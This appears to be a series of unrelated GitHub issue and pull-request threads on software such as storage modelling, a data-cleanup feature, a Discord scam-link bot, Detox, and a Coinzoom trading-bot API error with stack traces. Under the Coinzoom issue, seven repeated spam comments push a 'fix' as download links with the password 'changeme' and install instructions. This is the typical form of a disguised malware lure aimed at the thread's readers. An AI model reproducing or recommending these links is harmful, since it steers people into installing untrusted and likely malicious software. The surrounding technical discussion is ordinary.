The new implementation does not require the developer of new Storage nodes to think about how to solve the level balances for individual time structures. Instead, the developer can reuse the introduced level balances through the implemented AbstractStorageBehaviour.
When implementing a new Storage node and the existing StorageBehaviours satisfy the needs, the developer only has to implement a new method constraints_level_aux to provide a constraint for the calculation of the variable stor_level_Δ_op.
When implementing a new StorageBehaviour, the following functions have to be potentially adjusted.

previous_level and previous_level_sp for calculating the previous level. Note that one has to be careful to avoid method ambiguities.
constraints_level_rp and constraints_level_scp to include constraints on the representative period and operational scenario level.
constraints_level_bounds to include bounds on the level within an operational period.

Way forward
This PR is design as draft. It requires functionalities from TimeStruct.jl not yet merged into the main branch. Hence, it is purely for illustrating purposes.
We plan to implement a new structure for Storage nodes. The new structure should allow for

Provide capacities for charge, level, and discharge as well as any combination of these (provided that level is always included).
Allow for inclusion of variable and fixed OPEX to charge, discharge, and level in any combination.

This current thought process is to design it the following way:
# Supertype for the different approaches.
abstract type AbstractStorageParameters end

# Description including a capacity as well as variable and fixed OPEX
struct StorCapOpex <: AbstractStorageParameters
    capacity::TimeProfile
    opex_var::TimeProfile
    opex_fixed::TimeProfile
end

# Description including only a capacity
struct StorCap <: AbstractStorageParameters
    capacity::TimeProfile
end

These types can then be implemented as, e.g.,
# Storage in which the charge, level, and discharge have a capacity
struct StorageA{T} <: Storage{T}
    id
    charge::AbstractStorageParameters
    level::AbstractStorageParameters
    discharge::AbstractStorageParameters
    stor_res::Resource
    input::Dict{<:Resource, <:Real}
    output::Dict{<:Resource, <:Real}
    data::Vector{<:Data}
end

# Storage in which only the level has a capacity
struct StorageB{T} <: Storage{T}
    id
    level::AbstractStorageParameters
    stor_res::Resource
    input::Dict{<:Resource, <:Real}
    output::Dict{<:Resource, <:Real}
    data::Vector{<:Data}
end

This approach will also be coupled with a reimplementation of EnergyModelsInvestments, although in a first step, EnergyModelsInvestments will just be adjusted to allow the investments in either the charge or discharge rate.
Thinks to be done before merge

[ ] Update NEWS.md (not included to avoid potential issues with potential rebases)
[ ] Update version number (most likely breaking changes for node development, but not for application)
[ ] Improve the documentation
[ ] Implement the potential for charge/discharge, although that can also be done in a latter stage

I personally think we have to go through the complete docstrings at one point. I do it mostly when I find changes and update it piecemeal.


implementing storage cleaningsystem with options

Addresses: #305
/cc @vishnoianil @nerdalert Please take a look.
I am struggling still with the event based strategy. I built a channel that will watch for disk-pressure, but I didn't know how to pass the working directory of the job that pushed the usage past the limit and triggered the channel event.
The .github/workflows/test-at.yaml workflow file will be dropped once I can verify that the at binary ships with Ubuntu 22.04.
Also looking for thoughts on the enum I tried to setup with the CleanupStrategyType, didn't see / know of any comparable Enum examples in our codebase.

Confirmed at does not ship with ubuntu 22.04 out of the box, will need to find another way. Considering cron but I dont want these jobs kicking around for specific filepaths running every 3 days or so, could result in hundreds of cronjobs. Another potential solution is a seperate queue for cleanup jobs that is time based ...

@Gregory-Pereira

Immediate will delete the local data once all the files are uploaded to s3 bucket.
Lazy - It should take duration as an input. For example, it will wake up every two weeks (set by user) and cleanup all the data that is being stored for more than 2 weeks.
Event - It should delete the oldest directories till the disk pressure goes down to 70%.
And i think it would be better if we can leverage the os/fs packages (or any other stable go pkg) for finding the target directories and deleting it, that way we don't have to take care of the OS specific issues, until and unless we hit to road block there.

I think at this point of time, we can just implement a simple Lazy policy and see how well it works. We can implement rest of the policies in the future if needed.

@vishnoianil I am confused if this cleanup will take place at a static directory? I was under the assumption that both of these cleaning operations would be after pre-check / generate, in which case wouldn't it be a path to the data specific to that call? It seems odd to use a lazy strategy with regard to data for a specific run. Please let me know if I am misunderstanding something (almost certain I am).


Create a similar logic for GitHub Scam Link

Refer nitroscam_class.py to create a similar logic for github scam links.

I will try to implement this.
Can you give more pointers on how to implement this?
Do I need to create a new function inside nitroscam_class.py file or create a new file?
As far as I understood, I should be making a function that checks if the domain name is similar to github and if its similar flag it as scam. Am I right?

You will have to create a new class like the one in nitroscam_class.py and implement all the functions inside that class.
Also, make sure you review 6-7 links related to the github scam when building the logic to have a better view on the problem and test it out on all those links before making a PR. Also, carefully select the safe domains for the GitHub scam so that no valid link is marked as spam by the bot.

Let me know if you need any additional help.

Hi @kanakmi
I couldnt add the bot to my own server. I went to discord dev dashboard, created a new app, copied the token and ran bot.py file. Could you please guide me. Thanks

Hey @heraldjose10
Can you share the exact error that you are facing? Maybe add a few log files or a screenshot.
The steps seem to be correct and in-order.


Refactor invoke queue into promise queue and support inline awaits

All lines in a test scenario are naturally asynchronous since the device has to perform each interaction and that takes time. In order to avoid the boilerplate of writing await before every line, we use a concept similar to what protractor does for its Control Flow.
Unlike protractor, our current implementation simply manages an invocation queue and then executes it until the test terminates.
This is not ideal. We need to switch to a pending promise queue like protractor.
In addition, we want to support a manual inline await in the middle of a test. The reason is that you might want to wait on something external, for example restart the simulator in the middle of a test.

async await api rewrite is now in master, and will be published soon with detox 5.0.0.
We ditched the Control Flow idea in favor of native constructs (Promises and async await). there is no invoke queue anymore. checkout the test project


Add Option to automatically remove Repositories that are not in Usage anymore

Would it be possible to add an option to automatically remove repositories from apps that are not installed anymore?
In the past, I have tested several apps. Now my repo-list is very huge and deleting the repositories one by one is extremely time-consuming and annoying. :-)

It's an interesting idea!


Coinzoom - API key not found with status 401

Describe the bug
Opening ticket for tracking:
While inspecting the Coinzoom test bot, we notice that there are stuck orders left in the exchange. Upon checking the logs, the following error was seen which causes some of the orders to get stuck, although most of the time, the bot recover.
2021-12-06 16:23:48,126 - 2871 - hummingbot.strategy.avellaneda_market_making.avellaneda_market_making - INFO - (BTC-USDT) Creating 1 bid orders at (Size, Price): ['0.0004 BTC, 47169.44 USDT']
2021-12-06 16:24:48,884 - 2871 - hummingbot.strategy.avellaneda_market_making.avellaneda_market_making - INFO - (BTC-USDT) Cancelling the limit order CZ_API_HBOTBBCUT1638807828126813. [clock=2021-12-06 16:24:48+00:00]
2021-12-06 16:25:06,753 - 2871 - hummingbot.connector.exchange.coinzoom.coinzoom_exchange - ERROR - {'error': 'API key not found', 'status': 401}
Traceback (most recent call last):
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_exchange.py", line 584, in _status_polling_loop
    await safe_gather(
  File "/home/ubuntu/coinzoom/hummingbot/core/utils/async_utils.py", line 22, in safe_gather
    return await asyncio.gather(*args, **kwargs)
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_exchange.py", line 652, in _update_order_status
    open_orders = await self._api_request("POST",
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_exchange.py", line 350, in _api_request
    parsed_response = await http_utils.api_call_with_retries(
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_http_utils.py", line 86, in api_call_with_retries
    return await api_call_with_retries(method=method, endpoint=endpoint, params=params,
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_http_utils.py", line 86, in api_call_with_retries
    return await api_call_with_retries(method=method, endpoint=endpoint, params=params,
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_http_utils.py", line 86, in api_call_with_retries
    return await api_call_with_retries(method=method, endpoint=endpoint, params=params,
  [Previous line repeated 1 more time]
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_http_utils.py", line 89, in api_call_with_retries
    raise CoinzoomAPIError({"error": parsed_response, "status": http_status})
hummingbot.connector.exchange.coinzoom.coinzoom_utils.CoinzoomAPIError: {'error': 'API key not found', 'status': 401}
2021-12-06 16:25:06,754 - 2871 - hummingbot.connector.exchange.coinzoom.coinzoom_exchange - NETWORK - Unexpected error while fetching account updates.
Traceback (most recent call last):
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_exchange.py", line 584, in _status_polling_loop
    await safe_gather(
  File "/home/ubuntu/coinzoom/hummingbot/core/utils/async_utils.py", line 22, in safe_gather
    return await asyncio.gather(*args, **kwargs)
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_exchange.py", line 652, in _update_order_status
    open_orders = await self._api_request("POST",
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_exchange.py", line 350, in _api_request
    parsed_response = await http_utils.api_call_with_retries(
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_http_utils.py", line 86, in api_call_with_retries
    return await api_call_with_retries(method=method, endpoint=endpoint, params=params,
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_http_utils.py", line 86, in api_call_with_retries
    return await api_call_with_retries(method=method, endpoint=endpoint, params=params,
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_http_utils.py", line 86, in api_call_with_retries
    return await api_call_with_retries(method=method, endpoint=endpoint, params=params,
  [Previous line repeated 1 more time]
  File "/home/ubuntu/coinzoom/hummingbot/connector/exchange/coinzoom/coinzoom_http_utils.py", line 89, in api_call_with_retries
    raise CoinzoomAPIError({"error": parsed_response, "status": http_status})
hummingbot.connector.exchange.coinzoom.coinzoom_utils.CoinzoomAPIError: {'error': 'API key not found', 'status': 401}
2021-12-06 16:25:06,843 - 2871 - hummingbot.connector.exchange.coinzoom.coinzoom_exchange - WARNING - Could not fetch account updates from coinzoom. Check API key and network connection.
2021-12-06 16:26:53,023 - 2871 - hummingbot.strategy.avellaneda_market_making.avellaneda_market_making - INFO - (BTC-USDT) Cancelling the limit order CZ_API_HBOTBBCUT1638807828126813. [clock=2021-12-06 16:26:48+00:00]
2021-12-06 16:27:02,162 - 2871 - hummingbot.core.event.event_reporter - EVENT_LOG - {"timestamp":<PHONE_NUMBER>.0, "order_id": "CZ_API_HBOTBBCUT1638807828126813", "order_type": "OrderType.LIMIT_MAKER", "event_name": "MarketOrderFailureEvent", "event_source": "coinzoom"}

In the trace dump snippet, order CZ_API_HBOTBBCUT1638807828126813 encounter the error during the cancellation process then after a few minutes, the bot was able to remove the order however in the exchange, the order remain active.
Note: Timestamp in the logs is in UTC while in the screenshot is in GMT+8

Steps To Reproduce
Here are the steps to reproduce the issue (see attachments in the section below):

Setup an Avellaneda market-making strategy or a pure market-making strategy using Coinzoom.
Start the strategy and leave the bot running for a long duration.
Monitor the log pane from time to time.

Some other steps taken to try to replicate the error:

Check that the API key did not expire: No expiration date for Coinzoom API generated keys
Tried disconnecting the connection when an order is created or about to be cancelled: bot was able to recover the orders and cancelled properly.
...

Screenshots

Release version
0.46.0
Attachments
logs_btc-usdt_avellaneda_mm2021-12-05.log
Optional: your discord username:

The issue has been monitored for over 1 month and haven't seen it happen again. The bot worked as normal and this is most likely related to API error. Closing ticket for now.

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://app.mediafire.com/9mrkd33xulszl
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble check this fix, i see it in another issue,
https://github.com/Jostino/RimWorld-it/releases/tag/fix
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx


Search & Replace: diff editor becomes weird after replacing all

Steps to Reproduce:

search for something
enter a replace text
open a diff editor for a change
click on replace all in the viewlet

=> the diff editor's right hand side becomes empty
=> click on another editor and then back, now both sides are empty
Should we just close the diff editor after replace all?

I think the right solution is to show left and right side with same content. This is what we do when we undo or stage a change.

It's got fixed already. Diff editor is closed after replace all.


Update vendors

Closes #132.

@feiskyer After merged, I will add a CRI validation test for mount propagation. :)

@miaoyq thanks


christmas city drop wrong popup

I have 0.1 DOT on polkadot asset hub, why this popup?

there should be smth like 0.2, certainly not 0

so, there should not be any requirement for funds as we agreed yesterday.
can @Jarsen136 or @preschian please have a look 👀

there should not be any requirement for funds as we agreed yesterday.

yes this one should be for free drop


voxpupuli-test: Validate REFERENCE.md during CI

Pull Request (PR) description

This Pull Request (PR) fixes the following issues

The branch no longer exists, so this fails.


After Serverupdate Server not connectable

Hi.
Every time after an automatic update, the server will not be listed.
Log's log fine.
I'll then stop and restard the container manually with docker-compose down  / up
Any ideas ?

there was an update by the devs and now you have to maker sure you have selected "show player servers" to see your server


TS: first auto import statement above copyright header

create a new TS file
add copy right header on line 1
below the copyright header, accept a completion that inserts an import statement
:bug: the import is above the header-comment, it should be below

this is a paper-cut-issue

Opened https://github.com/microsoft/TypeScript/issues/31508 for this. It was previously supposed to have been fixed by https://github.com/microsoft/TypeScript/issues/15515 but looks like the comment case was not handled


Multiple source directory support

Multiple source directory support

Depreciates debugrootDir string and replaces it with sourceDirs array to support multiple source directories.
Fires error when debugrootDir is used in the launch and prompts the user to update to sourceDirs.
Removed all remaining breakpoints after looping through them to prevent crash on a breakpoint existing in the workspace but out of scope

Great work! You kept it straightforward and clean. I have one request, which we already discussed on Slack. In order to maintain backwards compatibility, we need to still support debugRootDir. Once you have added that support back in and resolve the other small comments, I'll be happy to merge this.

Also, can you update the readme "Special Cases" "Debug source files with Custom build process" section explaining how the sourceDirs array works, and what problem it solves? You can either add a whole separate section, or just another paragraph at the bottom of that section with some additional information. People need to see examples, or they won't ever know this exists. :)


UCP 1.0 is not compatible with CE/EE engine 1.13 or later.

File: datacenter/ucp/2.1/guides/admin/install/system-requirements.md, CC @joaofnfernandes
This page says "CS Docker Engine version 1.10 or higher" but compatibility matrix says otherwise.

This seems to have been fixed -- I checked all of the UCP system requirements topics against the Compatibility Matrix at Success, and they look correct.